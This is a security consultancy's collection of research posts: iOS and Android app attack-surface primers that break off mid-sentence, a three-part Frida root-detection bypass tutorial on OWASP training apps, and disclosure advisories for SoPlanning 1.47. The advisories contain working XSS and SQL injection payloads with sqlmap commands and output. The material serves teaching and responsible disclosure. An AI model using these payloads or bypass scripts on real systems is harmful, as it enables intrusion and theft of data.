Labs

As of May 2023, there were 1.76 million apps and 460 thousand games on the Apple AppStore. Applications do not always have to financially cost the end user, in-fact, majority would not cost a single penny. So where is the compromise, how can applications be offered at no cost and expected to be secure; are all applications in the store to be trusted, what information would be accessible if an application were to be misconfigured or what behaviors could be carried out if a malicious application were to make its way onto the device? Due to the absence of cost most users would not hesitate to install an application. This action would be taken without considering the impact on information exposure. As mentioned in a previous piece, application interaction often occurs within the first 30 minutes of a user’s day. Interactions have been integrated into routine and will happen without much thought. Developers and organisations strive to provide users with convenient and accessible functionality through applications. However, many developers fail to consider the potential security risks and organisations struggle to fully understand their security posture as a result. As with the Android security principles, to understand attack surface, we first need to understand the structure of an iOS application: iOS applications are a lot more complex than their Android counterparts. iOS applications do not have the ability to communicate directly with hardware. To carry out the communication, defined system interfaces or layers are used. These interfaces enable developers to write applications in a more efficient, and easier manner, to ensure application logic and functionality operates over various iOS versions and device types. Interfaces are provided in the form of special packages called frameworks. The role of a framework is to supply a directory that holds dynamic shared libraries containing files, resources such as nib files, images, and a helper application to support libraries. Layers contain frameworks that, as aforementioned, can be used to assist developers. There are four layers we need to be concerned about, summarised briefly below: Core Operating System Layer – Contains frameworks that could be used to leverage other existing technologies. Core Service Layer – Provides functionality including, but not limited to; in application purchases, access to contact lists, leveraging smart devices via homekit and location services. Media Layer – Used to provide graphics and audio. Cocoa Touch – Assists with user interaction with the application. The main functionality is user touch and motion, however, more exist. Figure 1 – iOS Layered Architecture Application developers have various options on how to approach the development via different application types: Native Hybrid Web Based Native iOS applications are going to be the focus, with specific focus being placed on an application called Damn Vulnerable iOS App-v2(DVIA v2). The application is written in Swift, and as the name suggests, is vulnerable by design. What is an application? At a basic level, iOS applications are compressed into an .IPA file which is an archive containing the relevant application files. The application data can be retrieved by renaming the file to <something>.zip and then extracted in the usual manner. Once complete the contents would become visible and be ready for analysis. iOS applications are uniquely sandboxed. By sandboxing it helps ensure that individual databases are used per application and segregation is occurring. By adopting this process, the chance of another application obtaining confidential information is reduced, however, not nullified. The iOS application contains three containers: Bundle Container – within this container all the application files are located in a designated folder when installed on the device. These will remain static in all resulting installations, on every iOS device, being identical. Important information would be located within this container and would help assist a threat actor in gaining a better understanding of potential attack surface. Data Container – contains unique data that is cached to assist with the running of the application. The files within the Data container would be continually changing to help remember data such as who has authenticated, what point the user stopped interacting so progress could resume from there or what data has been stored. These files should remain on the device until the application is removed. iCloud Container – Contains data stored within the iCloud that has been used by the application. If a user were to interact with one of these files on the application, subsequently, the data in iCloud should be updated to reflect these amendments. Example Misconfigurations When an iOS device has been compromised, a threat actor will look for target applications that would have the most financial gain, or greater chance of obtaining confidential data to carry out further attacks. Static assessment of files contained within the containers outlined above would occur along with dynamic analysis to identify an attack surface. Threat actors, along with supporting API issues, would look to identify misconfigurations within the application logic such as, but not limited to Jailbreak Detection Bypass – Jailbreak detection is often implemented on applications. Developers implement this to prevent threat actors leveraging further tools that could compromise confidential data or from reverse engineering the application. Despite this, there is often a way to bypass this protection exposing the complete attack surface. Local Data Storage Misconfigurations – Local data storage contains application, and user, specific data. This data often relates to authenticated users, developers leaving in hardcoded credentials or excessive permissions. If exploited, the confidentiality of this information would be impacted in a negative manner and the integrity of data would also suffer negatively. Touch/Face ID Bypass – Touch and Face ID can be used by application users to authenticate into the application, an example of this would be your banking application. If the protection were bypassed, the functionality behind would become accessible. This would result in impersonation of the user and funds being transferred to a threat actor-controlled account. Additionally, account details may be amended resulting in availability suffering along with confidentiality and integrity. Phishing – Creating a phishing prompt that would attempt

At the time of writing there are approximately 2.6 million applications available on the Google play store and it should be no surprise that these apps enhance the overall user experience. From disabling your alarm to controlling your smart home devices, or checking the weather, apps have become part of our daily routine. However, because of their often-trivial nature, it can be easy to overlook potential security issues. Both organisations, and recreational developers, aim to provide users with accessible and convenient functionality through apps. However, many developers do not fully understand their applications attack surface and may, therefore, pose a security risk to end-users. To understand the attack surface of an application, we first need to understand the structure of an Android application: Activities – activities allow users to interact with the application by providing a user interface. An application can consist of many activities tied together to perform the desired functionality. Services – services can be described as the worker of the application; they ensure processes continue to function when the user navigates to other activities or applications. Additionally, if an action were to take a prolonged duration of time, a service would be used. Broadcast Receivers – broadcast receivers enable the system to send events to the application out with the regular user flow resulting in a system wide announcement. These can be delivered to the application even if it is not running. Content Providers – content providers help manage data that can be stored on the devices file system, within an SQLite database, or on the web. Manifest File – the manifest file is where all application components are listed, permissions are stated, aliases set, secret codes created, and determine what actions can be performed. (Further information regarding these can be found from the official Android documentation) We now need to understand what risk each component, if misconfigured, could introduce. Example Misconfigurations A threat actor would start by carrying out an analysis of the applications Manifest file. By performing this simple action, an understanding of the attack surface would be obtained. Whilst carrying out this, threat actors would be looking for misconfigurations such as, but not limited to: Secret Codes – string values that can be entered via the dial pad to launch activities. Exported Components – components can either be implicitly or explicitly exported. Exported components enable interaction from other applications and can be launched to bypass restrictions. Aliases – aliases, as they sound, give another name to activities. These can be used opposed to the official activity name and are defined within the <activity> tag. Debug Prevention – a specific element placed in the <application> tag to prevent debugging. Backup – another element within the <application> tag that can be used to allow, or prevent, users from backing up the application and the data associated. Exported Components will be the focal point here and to demonstrate the risk, a vulnerable application, Sieve, will be used alongside Drozer to exploit misconfigurations. Sieve behaves as a password manager and is deliberately misconfigured. These deliberate misconfigurations help demonstrate attack vectors a threat actor would use to exploit your application. Drozer allows threat actors to impersonate an android application allowing interactions with the target application. This would replicate a malicious application on the user’s device, targeting your legitimate app. Further functionality is provided by Drozer such as executing custom payloads, or utilising pre-written exploit scripts, however, this will be outside the scope of this post. Identification of Components The first step in a threat actors’ methodology would be to start the enumeration process. Enumeration of the application would include identifying directories where data is written, application permissions and components exported. Drozer can be leveraged to achieve this information with relative ease. The attack surface can be obtained by issuing the following command: dz> run app.package.attacksurface com.mwr.example.sieve Once executed, the attack surface would be revealed: Figure 1 – Sieve attack surface revealed via Drozer Sieve contained 3 activities, 2 content providers and 2 services that were exported. Additionally, it was possible to debug the application. This can be verified by analysing the Manifest.xml file. Illustrated below was the debug and backup misconfiguration: Figure 2 – Debug and Backup Misconfiguration The exported components could be identified via the following lines contained within the Manifest.xml. Highlighted below are the component name, and their status set as exported. – Explicitly Exported Activities .FileSelectActivity .PWList .FileBackUpProvider Despite listing 3 exported components within Figure 1 – Sieve attack surface revealed via Drozer, only two are a concern as the applications MainActivity will always be exported to enable the successful launch. – Exported Content Providers .DBContentProvider – Exported Services .AuthService .CryptoService An understanding of the attack surface has now been obtained detailing the exact components a malicious application, or threat actor, would target. This knowledge would lead a threat actor into attempting to leverage the exploited components. This will determine what unauthorised actions could be performed and what confidential information could be obtained. Exploitation When launching Sieve, the MainActivity will be launched. The MainActivity would present the following user interface: Figure 3 – Sieve Application The application was, as mentioned, a place for users to store passwords. It appeared as if the application was used prior to launching as there were no register function and was only asking for the user’s password. So, what can be done now, is it possible to bypass this activity? Although a hurdle, in the form of authentication, it may be possible to bypass the login prompt. To do so, exported components may be used. A threat actor would review the data collated and start targeting the components using Drozer. Following a review of the data, an activity of interest will be identified. The .PWList activity was exported, meaning any application on the device can launch it. Using Drozer, mimicking a malicious application, the activity could be launched by using the following command: Once issued, Drozer would instruct the activity to be launched, this would result in authentication bypass. By negating

This is the third part in a blog series I am creating about bypassing various Android application’s root detection mechanisms. Please see part 2 here and part 1 here. In this part, we are going to be looking to bypass OWASP’s Uncrackable 3. I know, I know, we haven’t looked at Uncrackable 2, but that’s for good reason. To bypass Uncrackable 2, all we have to do is follow the exact same process we used to bypass Uncrackable 1 and Rootbeer, so not writing about it is a good way to put what we have learned to the test. ———— *Before I show how I have bypassed the root/emulator detection I should say that I’m not an expert at this and the way I have performed the bypass might not be the most efficient or “correct” way of doing so. At one point or another we have all been at the start of our learning journeys so please take this into consideration. ————-  As before, you’re going to need some equipment and tools to perform the bypass: Rooted Android device (I’m using an emulated device using Android Studio which has been rooted using rootAVD) ADB Frida JADX Ghidra Anything you want to use to edit code So let’s begin by starting how we always start. Let’s search for the string displayed when the application starts and detects the rooted device. As we saw in the previous applications the string is called when a condition is met within a function, this time the functions are called checkRoot1, checkRoot2, checkRoot3 and isDebuggable. And just like I’m repeating myself and copying from the previous posts, we are gonna search for these functions. Then of course we will copy the function as a Frida snippet. We all know what’s coming next. We place the snippet within a function and change the return value to false. Java.perform(function() { let RootDetection = Java.use(“sg.vantagepoint.util.RootDetection”); RootDetection[“checkRoot1”].implementation = function () { console.log(‘checkRoot1 is called’); let ret = this.checkRoot1(); console.log(‘checkRoot1 ret value is ‘ + ret); return false; }; }); So let’s run the code and see what happens. .frida.exe -U -l bypass3.js -f owasp.mstg.uncrackable3 ____ / _ | Frida 16.0.2 – A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about ‘object’ . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Android Emulator 5554 (id=emulator-5554) Spawned `owasp.mstg.uncrackable3`. Resuming main thread! [Android Emulator 5554::owasp.mstg.uncrackable3 ]-> checkRoot1 is called checkRoot1 ret value is true Process crashed: Trace/BPT trap *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** Build fingerprint: ‘google/sdk_gphone_x86/generic_x86_arm:11/RSR1.201013.001/6903271:user/release-keys’ Revision: ‘0’ ABI: ‘x86’ Timestamp: 2022-12-23 09:40:47+0000 pid: 10321, tid: 10354, name: tg.uncrackable3 >>> owasp.mstg.uncrackable3 _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about ‘object’ . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Android Emulator 5554 (id=emulator-5554) Spawned `owasp.mstg.uncrackable3`. Resuming main thread! [Android Emulator 5554::owasp.mstg.uncrackable3 ]-> checkRoot1 is called checkRoot1 ret value is true And voilà we have done it. Hopefully you have found this run through somewhat helpful and has given you an understanding of using Ghidra and the Frida API in more detail. Like I said at the start of the write up, this might not be the most efficient or be the “correct” way to bypass the root/frida detection, but I am figuring this out as I go along. If there is any help or tips that you can give me to get better that would be much appreciated.

This is the second part in a blog series I am creating about bypassing various Android application’s root detection mechanisms. Please see part 1 here. In this part we are going to be looking to bypass the RootBeer Sample application. For those of you that haven’t come across RootBeer before it is an open source root detection library for Android and the sample app is used to demonstrate it’s capabilities. The below screenshot is of the app running on my rooted/emulated Android device. ——————- *Before I show how I have bypassed the root/emulator detection I should say that I’m not an expert at this and the way I have performed the bypass might not be the most efficient or “correct” way of doing so. At one point or another we have all been at the start of our learning journeys so please take this into consideration. ——————– As before, the first things you’re gonna need some equipment and tools to perform the bypass: Rooted Android device (I’m using an emulated device using Android Studio which has been rooted using rootAVD) ADB Frida JADX Anything you want to use to edit code This bypass is performed pretty much the same way we bypassed OWASP’s Uncrackable 1 but used some other tools and techniques to trace the methods that are being called. So as we can see from the screenshot I posted above the application, once run, detects our Android as rooted due to a few different reasons. Now we have observed the above behavior we can open the application within JADX just like we did the last time. As we can see from the screenshot the device is failing on a check for “SU Binaries” so we are going to search for this within JAXD. So we can see from JADX that there is a method that we can assume is checking for the SU Binary based on the name. Using Frida-Trace we are gonna connect to the method and see in real time when it is called and the returned value from it. $.frida-trace.exe -U -j “*rootbeer*!*checkForSuBinary*” “RootBeer Sample” Instrumenting… RootBeer.checkForSuBinary: Loaded handler at “[REDACTED]\__handlers__\com.scottyab.rootbeer.RootBeer\checkForSuBinary.js” Started tracing 1 function. Press Ctrl+C to stop. /* TID 0x250e */ 7288 ms RootBeer.checkForSuBinary() 7288 ms Displays the help system . . . . object? -> Display information about ‘object’ . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Android Emulator 5554 (id=emulator-5554) Spawned `com.scottyab.rootbeer.sample`. Resuming main thread! [Android Emulator 5554::com.scottyab.rootbeer.sample ]-> checkForSuBinary is called checkForSuBinary ret value is true Success, we have defeated the check once again. As we saw at the top from the original screenshot there are multiple checks that we need to defeat, so at this point it is essentially rinse and repeat. We need to check which functions are being called and which ones we need to defeat. Once done, we have come up with the below script. Java.perform(function() { let RootBeer = Java.use(“com.scottyab.rootbeer.RootBeer”); RootBeer[“checkForMagiskBinary”].implementation = function () { console.log(‘checkForMagiskBinary is called’); let ret = this.checkForMagiskBinary(); console.log(‘checkForMagiskBinary ret value is ‘ + ret); return false; }; RootBeer[“checkForSuBinary”].implementation = function () { console.log(‘checkForSuBinary is called’); let ret = this.checkForSuBinary(); console.log(‘checkForSuBinary ret value is ‘ + ret); return false; }; RootBeer[“checkSuExists”].implementation = function () { console.log(‘checkSuExists is called’); let ret = this.checkSuExists(); console.log(‘checkSuExists ret value is ‘ + ret); return false; }; RootBeer[“checkForRWPaths”].implementation = function () { console.log(‘checkForRWPaths is called’); let ret = this.checkForRWPaths(); console.log(‘checkForRWPaths ret value is ‘ + ret); return false; }; RootBeer[“checkForNativeLibraryReadAccess”].implementation = function () { console.log(‘checkForNativeLibraryReadAccess is called’); let ret = this.checkForNativeLibraryReadAccess(); console.log(‘checkForNativeLibraryReadAccess ret value is ‘ + ret); return false; }; RootBeer[“canLoadNativeLibrary”].implementation = function () { console.log(‘canLoadNativeLibrary is called’); let ret = this.canLoadNativeLibrary(); console.log(‘canLoadNativeLibrary ret value is ‘ + ret); return false; }; }); And when we run it with Frida and run the application we have defeated RootBeer sample. Hopefully you have found this run through somewhat helpful and has given you a basic understanding of using Frida-Trace and creating your own scripts to use with Frida. Like I said at the start of the write up, this might not be the most efficient or be the “correct” way to bypass the root detection, but I am figuring this out as I go along. If there is any help or tips that you can give me to get better that would be much appreciated. Please see part 3 in this series by clicking here. Originally published on Medium.

Mobile application penetration testing is becoming more and more common as the use of mobile applications are now the norm with how businesses allow their users to interact with whatever service they provide. As information/cyber security is quite often a requirement for most businesses the level at which it is implemented has increased. Depending on the function of the application I have noticed an increase in applications implementing some sort of root/emulator detection during penetration tests. Which as you can probably tell is the reason why I have written this blog with the hope I can learn to bypass these mechanisms without using built in tools/script that don’t always work and to hopefully help others to do so as well. The first part is going to be how I have managed to bypass the root/emulator detection on OWASP’s Uncrackable 1 on Android using Frida. Frida and other tools within the toolset can look quite intimidating at first glance but once you get a hang of it, it becomes an incredibly powerful tool to have at your disposal. —————————— *Before I show how I have bypassed the root/emulator detection I should say that I’m not an expert at this and the way I have performed the bypass might not be the most efficient or “correct” way of doing so. At one point or another we have all been at the start of our learning journeys so please take this into consideration. ——————————  First things first, you’re gonna need some equipment and tools to perform this: Rooted Android device (I’m using an emulated device using Android Studio which has been rooted using rootAVD) ADB Frida JADX Anything you want to use to edit code I’m going to assume you already have a basic knowledge of testing Android devices and have used ADB and Frida before. Once you have installed Uncrackable 1 on the Android device we of course need to run it and see what happens. When we click “OK” on the prompt the application exits. The message presented is going to be our starting point when looking for how to bypass the root/emulator detection. Once you have imported the apk into JADX we can search for “Root detected” to see where this string is called. We can see in the code below that the string is called if it meets a condition within methods “m5a”, “m4b” or “m3c”. So once again we are going to search in the code for these. We can see in the code that if a condition exists then the method will return true. The good thing about using JADX is that you can copy parts of code to be used within/with Frida. So in this case to see what happens, we are gonna copy the “m5a” method as a Frida snippet. To make the copied Frida snippet work as a script with Frida we need to put it within a function. Java.perform(function(){ let C0002c = Java.use(“sg.vantagepoint.a.c”); C0002c[“a”].implementation = function () { console.log(‘a is called’); let ret = this.a(); console.log(‘a ret value is ‘ + ret); return ret; }; }); When we run the code snippet with with Frida we can see that the return value is “True” which is why the root detection prompt is shown. $ .frida.exe -U -l bypass.js -f owasp.mstg.uncrackable1 ____ / _ | Frida 16.0.2 – A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about ‘object’ . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Android Emulator 1234 (id=emulator-1234) Spawned `owasp.mstg.uncrackable1`. Resuming main thread! [Android Emulator 1234::owasp.mstg.uncrackable1 ]-> a is called a ret value is true To bypass the root/emulator detection it’s pretty simple. All we have to do within our code is change the return value to “false”. Java.perform(function(){ let C0002c = Java.use(“sg.vantagepoint.a.c”); C0002c[“a”].implementation = function () { console.log(‘a is called’); let ret = this.a(); console.log(‘a ret value is ‘ + ret); return false; }; }); Once changed lets run it again. The output is going to be exactly the same within the command line as we haven’t changed any of the code that is logged to console. But this time we have changed the actual value returned to the method to false. $ .frida.exe -U -l bypass.js -f owasp.mstg.uncrackable1 ____ / _ | Frida 16.0.2 – A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about ‘object’ . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Android Emulator 1234 (id=emulator-1234) Spawned `owasp.mstg.uncrackable1`. Resuming main thread! [Android Emulator 1234::owasp.mstg.uncrackable1 ]-> a is called a ret value is true Which in turn defeats the root detection. Hopefully you have found this run through somewhat helpful and has given you a basic understanding of using Frida and creating your own scripts to use with it. Like I said at the start of the write up, this might not be the most efficient or be the “correct” way to bypass the root detection, but I am figuring this out as I go along. If there is any help or tips that you can give me to get better that would be much appreciated. Please see part 2 in this series by clicking here. Originally published on Medium.

Background Modern applications typically rely on user input to provide the required functionality to the user. In doing so, the application accepts data from an untrusted source. In some circumstances, this data is processed and output to the end user. In other cases, this data is stored by the application for retrieval at a later stage, or for the viewing of other application users or passing onto other services in order to carry out the user request. Cross-Site Scripting is a vulnerability resulting from the lack of or inadequate sanitisation carried out on user supplied data which is then later rendered back to a user. When an application includes user-supplied data in its HTTP response without proper sanitisation, any HTML or JavaScript included within that data would be executed when the response is rendered in the user’s browser. This behaviour could be leveraged by an attacker in order to compromise user sessions within the application. This could allow the attacker to impersonate legitimate users through session hijacking. They could also carry out unauthorised actions in the current user context or access data processed by the application. A variation of Cross-Site Scripting exists which stores the payload in the application which is executed every time the vulnerable parameter is rendered, this is known as stored Cross-Site Scripting. Details SoPlanning v1.47.00 was vulnerable to a reflected Cross-Site Scripting vulnerability. The following page was vulnerable through the ‘rechercheProjet’ URL parameter. The request below showed the injected JavaScript payload which when executed showed the current user’s session cookies as shown in Figure 1: GET /soplanning/www/groupe_list.php?statut%5B%5D=todo&statut%5B%5D=progress&statut%5B%5D=done&statut%5B%5D=abort&statut%5B%5D=archive&rechercheProjet=test%22onmouseover=confirm(document.cookie)%3E%3C/div%3E%3C/div%3EX%3C!– HTTP/1.1 Host: 192.168.0.88 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: dateDebut=03/09/2020; dateFin=03/11/2020; xposJoursWin=0; xposMoisWin=0; yposJoursWin=0; yposMoisWin=0; soplanningplanning_=r22g78taga3ok7tg3d5l03434n; baseColonne=jours; baseLigne=projets; dimensionCase=reduit Connection: close Figure 1 – Authenticated User Cookies The following was the response which showed the XSS payload rendered in the document: Independently, this vulnerability would allow an attacker to steal the session cookies for an authenticated user which would grant them the same access as the target user. This was verified through using the extracted session cookies in a different browser. It could also be used to load and execute malicious code within the application or simply be used to target the user’s browser. Risk Analysis Risk Category: HighCVSSv2: 8.5 A V:N/AC:M/Au:S/C:C/I:C/A:C CVSSv3: 8.0 AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H Affected item SOPlannning version 1.47 and lower Recommendation Update to SOPlannning Version 1.48

Background SQL Injection (SQLi) is a vulnerability whereby an attacker alters the intended logic of an SQL command. To do this they tamper with the original SQL query through user controllable input fields. As a result, the attacker may be able to access, modify and delete stored data, thus compromising its confidentiality, integrity and availability. Depending on the underlying database system it may be possible to read or write files and/or execute commands on the operating system. In these situations, the impact migrates from the database to the supporting infrastructure and would potentially enable onward attacks to occur against neighbouring systems. SQL Injection is a common vulnerability and is often the root cause of major data breaches. Details SoPlanning version 1.47.00 was vulnerable to a time-based blind SQL Injection vulnerability. This allowed an authenticated user to extract information from the application database and included configuration data as well as password hashes. The following was the request made to the tasks page and highlighted below is the vulnerable ‘by’ parameter: GET /soplanning/www/taches.php?order=nom_personne&by=ASC%2c(select*from(select(sleep(20)))a) HTTP/1.1 Host: 192.168.0.88 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.88/soplanning/www/taches.php Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: dateDebut=03/09/2020; dateFin=03/11/2020; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; soplanningplanning_=r22g78taga3ok7tg3d5l03434n; baseLigne=users; baseColonne=jours Connection: close Visiting the URL above when authenticated resulted in a twenty second delay from the server. Altering the number from “20” to “5” reduced the delay to five seconds. This was sufficient proof that an SQL injection vulnerability existed. An attacker can manipulate the logic from this point to extract data. SQLMAP was used to automate this attack. The following shows the command that was executed while column names were enumerated: /sqlmap-dev$ python sqlmap.py -r taskRequest.txt –level=5 –risk=3 -p by –proxy=”http://127.0.0.1:8080″ –dbms=mysql -D soplanning -T planning_user –dump […] Parameter: by (GET) Type: time-based blind Title: MySQL >= 5.0.12 time-based blind – ORDER BY, GROUP BY clause Payload: order=nom_personne&by=ASC,(SELECT (CASE WHEN (8593=8593) THEN SLEEP(5) ELSE 8593 END)) — [18:26:46] [INFO] the back-end DBMS is MySQL [18:26:46] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions web application technology: PHP 7.4.9, Apache 2.4.46 back-end DBMS: MySQL >= 5.0.12 [18:26:47] [INFO] fetching columns for table ‘planning_user’ in database ‘soplanning’ […] [18:27:14] [INFO] retrieved: adresse [18:28:04] [INFO] retrieved: cle [18:28:29] [INFO] retrieved: commentaire [18:29:52] [INFO] retrieved: couleur [18:30:52] [INFO] retrieved: da [18:31:17] [ERROR] invalid character detected. retrying.. [18:31:17] [WARNING] increasing time delay to 3 seconds te_creation [18:33:25] [INFO] retrieved: date_dernier_login [18:37:04] [INFO] retrieved: date_modif [18:39:03] [INFO] retrieved: droits [18:40:15] [INFO] retrieved: email [18:41:05] [INFO] retrieved: login [18:42:09] [INFO] retrieved: login_actif [18:44:22] [INFO] retrieved: metier [18:45:26] [INFO] retrieved: mobile [18:46:32] [INFO] retrieved: nom [18:47:14] [INFO] retrieved: notifications [18:49:39] [INFO] retrieved: passwor [18:51:08] [INFO] adjusting time delay to 2 seconds due to good response times […] The highlighted parts demonstrate that: ⎯ The backend was MySQL >= 5.0.12; and ⎯ Listed the column names for the “planning_user” table in the “soplanning” database. This was sufficient to demonstrate that data extraction was possible. Additional impacts such as file reading/writing, and OS command execution would be dependent on the setup of the database. Those would be different for each customer deployment of SoPlanning. Risk Analysis Risk Category: High CVSSv2: 8.1 AV:N/AC:L/Au:S/C:C/I:C/A:N/E:F CVSSv3: 9.6 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N Affected item SOPlannning version 1.47 and lower Recommendation Update to SOPlannning Version 1.48

Background SQL Injection (SQLi) is a vulnerability whereby an attacker alters the intended logic of an SQL command. To do this they tamper with the original SQL query through user controllable input fields. As a result, the attacker may be able to access, modify and delete stored data, thus compromising its confidentiality, integrity and availability.Depending on the underlying database system it may be possible to read or write files and/or execute commands on the operating system. In these situations, the impact migrates from the database to the supporting infrastructure and would potentially enable onward attacks to occur against neighbouring systems. SQL Injection is a common vulnerability and is often the root cause of major data breaches. Details SoPlanning version 1.47.00 was vulnerable to a boolean-based blind SQL Injection vulnerability. This allowed an authenticated user to extract information from the application database, including configuration data as well as user hashes. The following was the request made to the Audit page: POST /soplanning/www/audit.php HTTP/1.1 Host: 192.168.0.88 Content-Length: 92 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.0.88 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.88/soplanning/www/audit.php Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: dateDebut=03/09/2020; dateFin=03/11/2020; xposJoursWin=0; xposMoisWin=0; yposJoursWin=0; yposMoisWin=0; soplanningplanning_=r22g78taga3ok7tg3d5l03434n; baseColonne=jours; baseLigne=projets; dimensionCase=reduit; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D Connection: close filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1 Figure 1: highlighted the vulnerable parameter location in the Audit page. Figure 1 – Audit Vulnerable SQLi Parameter SQLMAP was used to automate this attack as shown below: $ python sqlmap.py -r auditRequest.txt –proxy=”http://127.0.0.1:8080″ –dbms=mysql –method=POST -p”projet_test1″ –level=5 –risk=3 -D soplanning -T planning_config –dump […] — Parameter: projet_test1 (POST) Type: boolean-based blind Title: AND boolean-based blind – WHERE or HAVING clause Payload: filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1′) AND 1720=1720– oMkq Type: UNION query Title: Generic UNION query (NULL) – 26 columns Payload: filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1′) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171716b71,0x696b52715a6f4773796e6c4352695263737a6a7157485167537346587341746e6948786577697966,0x7170767671),NULL– – — [17:03:50] [INFO] testing MySQL [17:03:51] [INFO] confirming MySQL [17:03:51] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.4.9, Apache 2.4.46 back-end DBMS: MySQL >= 8.0.0 [17:03:53] [INFO] fetching entries for table ‘planning_config’ in database ‘soplanning’ [17:03:54] [INFO] recognized possible password hashes in column ‘valeur’ do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] n Database: soplanning Table: planning_config [65 entries] +—————————————-+———————————-+————————————————————————————————————————————-+ | cle | valeur | commentaire | +—————————————-+———————————-+————————————————————————————————————————————-+ | CONTACT_FORM_DEACTIVATE | | Put 1 to deactivate the display of the small button/popin (contact form) | | CURRENT _VERSION | 1.47.00 | […] The highlighted parts demonstrate that: ⎯ The backend was MySQL >= 8.0.0, PHP 7.4.9 and Apache 2.4.46; and⎯ Listed the column names for the “planning_config” table in the “soplanning” database as well as the data stored in the table, such as the ‘CURRENT_VERSION’ row. This was sufficient to demonstrate that data extraction was possible. Additional impacts such as file reading/writing, and OS command execution would be dependent on the setup of the database. Those would be different for each customer deployment of SoPlanning. The following snippet contained the vulnerable SQL query in the ‘audit.php’ file constructed using untrusted user-controlled input: $sql = “SELECT pa.*, pu.nom as modif_nom, pu2.nom as user_nom, pp.nom as projet_nom, pl.nom as lieu_nom, pr.nom as ressource_nom, ps.nom as status_nom, pe.nom as equipe_nom, pg.nom as groupe_nom, ppe.date_debut, pu3.nom as periode_user_nom FROM planning_audit as pa LEFT JOIN planning_user as pu ON pu.user_id = pa.user_modif LEFT JOIN planning_user as pu2 ON pu2.user_id = pa.user_id LEFT JOIN planning_projet as pp ON pp.projet_id = pa.projet_id LEFT JOIN planning_lieu as pl ON pl.lieu_id = pa.lieu_id LEFT JOIN planning_ressource as pr ON pr.ressource_id = pa.ressource_id LEFT JOIN planning_status as ps ON ps.status_id = pa.lieu_id LEFT JOIN planning_periode as ppe ON ppe.periode_id = pa.periode_id LEFT JOIN planning_user as pu3 ON pu3.user_id = ppe.user_id LEFT JOIN planning_user_groupe as pe ON pe.user_groupe_id = pa.equipe_id LEFT JOIN planning_groupe as pg ON pg.groupe_id = pa.groupe_id WHERE 1=1″; if(count($_SESSION[‘filtreUserAudit’]) > 0) { $sql.= ” AND pa.user_modif IN (‘” . implode(“‘,'”, $_SESSION[‘filtreUserAudit’]) . “‘)”; } if(count($_SESSION[‘filtreGroupeProjetAudit’]) > 0) { $sql.= ” AND pa.projet_id IN (‘” . implode(“‘,'”, $_SESSION[‘filtreGroupeProjetAudit’]) . “‘)”; } Users with access to view the audit functionality would be able to exploit this vulnerability to extract data from the database thus compromising the confidentiality of the data stored by the application. In addition to this, the attacker can gain access to the SECURE_KEY, which would allow them to issue password reset requests for other user accounts, in doing so, they would be able to elevate their access level to that of an administrator. Risk Analysis Risk Category: High CVSSv2: 8.1 AV:N/AC:L/Au:S/C:C/I:C/A:N/E:F CVSSv3: 9.6 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N Affected item SOPlannning version 1.47 and lower Recommendation Update to SOPlannning Version 1.48

